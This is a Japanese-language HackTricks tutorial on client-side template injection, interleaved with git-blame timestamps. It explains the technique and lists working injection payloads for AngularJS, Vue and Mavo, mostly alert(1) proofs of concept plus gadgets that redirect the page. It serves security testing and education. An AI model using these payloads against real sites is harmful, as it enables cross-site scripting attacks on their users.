2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 20:35:28 +02:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
# 概要
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
これは**クライアント**側での[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)のようなものです。**SSTI**はリモートサーバーで**コードを実行**することができますが、**CSTI**は被害者で**任意のJavaScriptコードを実行**することができます。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
この脆弱性をテストする方法は、**SSTI**の場合と非常に**似ています**。インタプリタは、**二重のキー**の間に実行するものを期待し、それを実行します。たとえば、`{{ 7-7 }}`のようなものを使用すると、サーバーが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-05-01 13:41:36 +01:00
|
|
|
|
# AngularJS
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
AngularJSは人気のあるJavaScriptライブラリで、**`ng-app`**属性(AngularJSディレクティブとも呼ばれる)を含むHTMLノードの内容をスキャンします。ディレクティブがHTMLコードに追加されると、**二重の中括弧内でJavaScript式を実行**することができます。\
|
|
|
|
|
たとえば、**入力**がHTMLの**body**内に**反映**されており、bodyが`ng-app`で定義されている場合:**`<body ng-app>`**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
次のように、**body**に追加することで、**任意のJavaScriptコードを実行**することができます:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```javascript
|
|
|
|
|
{{$on.constructor('alert(1)')()}}
|
|
|
|
|
{{constructor.constructor('alert(1)')()}}
|
2021-06-29 12:49:13 +00:00
|
|
|
|
<input ng-focus=$event.view.alert('XSS')>
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
<!-- Google Research - AngularJS -->
|
|
|
|
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
**AngularJS**の脆弱性の非常に**基本的なオンライン例**は、[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)で見つけることができます。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2021-06-29 12:49:13 +00:00
|
|
|
|
{% hint style="danger" %}
|
2023-07-07 23:42:27 +00:00
|
|
|
|
[**Angular 1.6ではサンドボックスが削除**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.)されたため、このバージョンから`{{constructor.constructor('alert(1)')()}}`や`<input ng-focus=$event.view.alert('XSS')>`のようなペイロードが機能するはずです。
|
2021-06-29 12:49:13 +00:00
|
|
|
|
{% endhint %}
|
|
|
|
|
|
2022-05-01 13:41:36 +01:00
|
|
|
|
# VueJS
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
**脆弱なvue.js**の実装は、[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)で見つけることができます。\
|
|
|
|
|
動作するペイロード:[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
また、脆弱な例の**ソースコード**はこちらです:[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```markup
|
|
|
|
|
<!-- Google Research - Vue.js-->
|
|
|
|
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
VUEにおけるCSTIに関する非常に良い投稿は、[https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)で見つけることができます。
|
2021-11-22 11:32:00 +00:00
|
|
|
|
|
2022-05-01 13:41:36 +01:00
|
|
|
|
## **V3**
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-02-25 11:39:28 +00:00
|
|
|
|
{{_openBlock.constructor('alert(1)')()}}
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
クレジット:[Gareth Heyes、Lewis Ardern、PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
2021-02-25 11:39:28 +00:00
|
|
|
|
|
2022-05-01 13:41:36 +01:00
|
|
|
|
## **V2**
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-02-25 11:39:28 +00:00
|
|
|
|
{{constructor.constructor('alert(1)')()}}
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
クレジット:[Mario Heiderich](https://twitter.com/cure53berlin)
|
2021-02-25 11:39:28 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
**さらにVUEのペイロードをチェックする** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
2021-11-22 11:32:00 +00:00
|
|
|
|
|
2022-05-01 13:41:36 +01:00
|
|
|
|
# Mavo
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
ペイロード:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-06-25 16:39:43 +00:00
|
|
|
|
[7*7]
|
|
|
|
|
[(1,alert)(1)]
|
|
|
|
|
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
2020-07-15 15:43:14 +00:00
|
|
|
|
[self.alert(1)]
|
2021-02-25 11:39:28 +00:00
|
|
|
|
javascript:alert(1)%252f%252f..%252fcss-images
|
|
|
|
|
[Omglol mod 1 mod self.alert (1) andlol]
|
2021-06-25 16:39:43 +00:00
|
|
|
|
[''=''or self.alert(lol)]
|
|
|
|
|
<a data-mv-if='1 or self.alert(1)'>test</a>
|
|
|
|
|
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
|
|
|
|
<a href=[javascript&':alert(1)']>test</a>
|
|
|
|
|
[self.alert(1)mod1]
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
**さらなるペイロードは**[**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) **にあります**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
# **ブルートフォース検出リスト**
|
2021-06-27 21:56:13 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 20:35:28 +02:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたいですか?** または、**HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) **を発見しましょう**、**独占的なNFTのコレクション**です。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|